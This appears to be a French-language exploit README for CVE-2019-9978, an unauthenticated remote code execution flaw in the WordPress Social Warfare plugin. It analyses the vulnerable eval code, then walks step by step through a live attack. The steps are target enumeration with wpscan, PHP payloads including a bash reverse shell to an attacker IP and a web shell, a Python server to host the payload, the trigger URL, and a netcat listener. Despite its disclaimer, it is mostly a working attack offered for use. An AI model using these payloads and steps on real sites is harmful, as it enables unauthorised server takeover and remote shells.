
Un guide complet et un exploit pour CVE-2019-9978 - Exécution de code à distance non authentifiée dans le plugin WordPress Social Warfare ≤ 3.5.2. Inclut l'analyse du code vulnérable et des exemples de payload.

⚠️ AVERTISSEMENT : Ce dépôt est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Utilisez-le exclusivement sur des systèmes vous appartenant ou pour lesquels vous avez une autorisation écrite explicite. Tout accès non autorisé est illégal.
| Propriété | Valeur |
|---|
| Identifiant CVE | CVE-2019-9978 |
| Logiciel concerné | Plugin Social Warfare ≤ 3.5.2 (WordPress) |
| Type de vulnérabilité | Exécution de code à distance (RCE) / Inclusion de fichier distante (RFI) |
| Authentification requise | ❌ Non – sans authentification |
| Score CVSS | 9.8 (Critique) |
| Corrigé dans | Version 3.5.3 |
| Exploité dans la nature | Oui – Mars 2019 |
Le plugin Social Warfare est un plugin WordPress populaire qui ajoute des boutons de partage social aux sites web. Les versions 3.5.0 à 3.5.2 contiennent une vulnérabilité RCE critique qui permet à des attaquants d'exécuter du code PHP arbitraire sur le serveur sans aucune authentification.
Social Warfare est un plugin WordPress populaire qui ajoute des boutons de partage social aux sites web, permettant aux visiteurs de partager facilement du contenu sur des plateformes comme :

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ CRITICAL MISUNDERSTANDING:
// is_admin() only checks if the page is in /wp-admin/
// It does NOT verify authentication or user privileges!
if ( is_admin() ) {
wp_die( 'You do not have authorization to view this page.' );
}
// Step 1: Fetch remote file from user-controlled URL
// No validation, no sanitization, no whitelist!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// Step 2: Extract content between <pre> tags
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// Step 3: Build PHP code string
$array = 'return ' . $options . ';';
// Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
// ... rest of the migration logic
} catch ( ParseError $e ) {
// ... error handling
}
}
is_admin() n'est PAS une mesure de sécuritéLa fonction WordPress is_admin() ne vérifie pas si un utilisateur est connecté ou possède des privilèges d'administrateur. Elle vérifie uniquement si la page demandée se trouve dans le répertoire /wp-admin/ :
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// Does NOT check authentication!
// Does NOT check user role!
}
L'ironie : Lorsque vous accédez à /wp-admin/admin-post.php, WordPress définit WP_ADMIN = true. Cela fait que is_admin() renvoie true même pour des requêtes non authentifiées, ce qui active l'exécution du bloc de code vulnérable.
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
}
Le plugin possédait une fonctionnalité "debug" cachée censée aider les développeurs à charger des fichiers de configuration depuis des URL externes. Cependant, cette fonctionnalité avait une faiblesse fatale : elle téléchargeait n'importe quel fichier depuis une URL fournie par l'utilisateur et exécutait tout code qu'elle trouvait à l'intérieur — sans demander la permission ni vérifier si l'utilisateur était autorisé.
L'exploitation est simple :
Un attaquant héberge un fichier malveillant sur son propre serveur, indique au plugin de le télécharger, et le plugin exécute aveuglément le code de l'attaquant sur le site web victime. Comme le plugin n'exige pas que vous soyez connecté pour déclencher cela, toute personne connaissant l'URL peut prendre le contrôle du site web.
Imaginez ceci : Un agent de sécurité qui ouvre n'importe quelle porte dès que vous dites "mode debug" — sans vérifier si vous travaillez là ou si vous avez un badge. C'est exactement ce que faisait cette vulnérabilité.
L'exploit doit être écrit entre 2 balises <pre></pre>.
Utilisez WPScan pour identifier la version du plugin Social Warfare :
wpscan --url http://target.com --enumerate vp
Si vous installez vous-même, n'oubliez pas d'activer le plugin depuis le panneau d'administration.
Créez payload.txt avec la charge utile de votre choix, puis mettez en place un serveur pour servir cette charge utile.
Exemples de charges utiles :
Charge utile de test (vérifier la RCE) :
<pre>phpinfo();</pre>
Test hors limites :
<pre>@file_get_contents('http://burp collabrator');</pre>
Shell inversé Linux :
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
Exécuteur de commandes interactif :
<pre>system($_GET['cmd']);</pre>
Démarrez un serveur HTTP Python pour héberger votre charge utile :
python3 -m http.server 8000
Votre charge utile est maintenant accessible à : http://VOTRE_IP:8000/payload.txt
Si vous utilisez localhost :
http://127.0.0.1:8000/payload.txt
Après avoir fait la requête depuis le code vulnérable, vous devriez voir un code de statut 200 :

Option A – Déclenchement manuel :
Visitez cette URL dans votre navigateur ou utilisez curl :
http://ip_ou_domaine_wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://IP_ATTAQUANT:8000/payload.txt
Encore une fois, si vous utilisez localhost :
http://ip_ou_domaine_wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
En cas de succès, vous obtiendrez un shell !
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

Bon hacking ! 🚀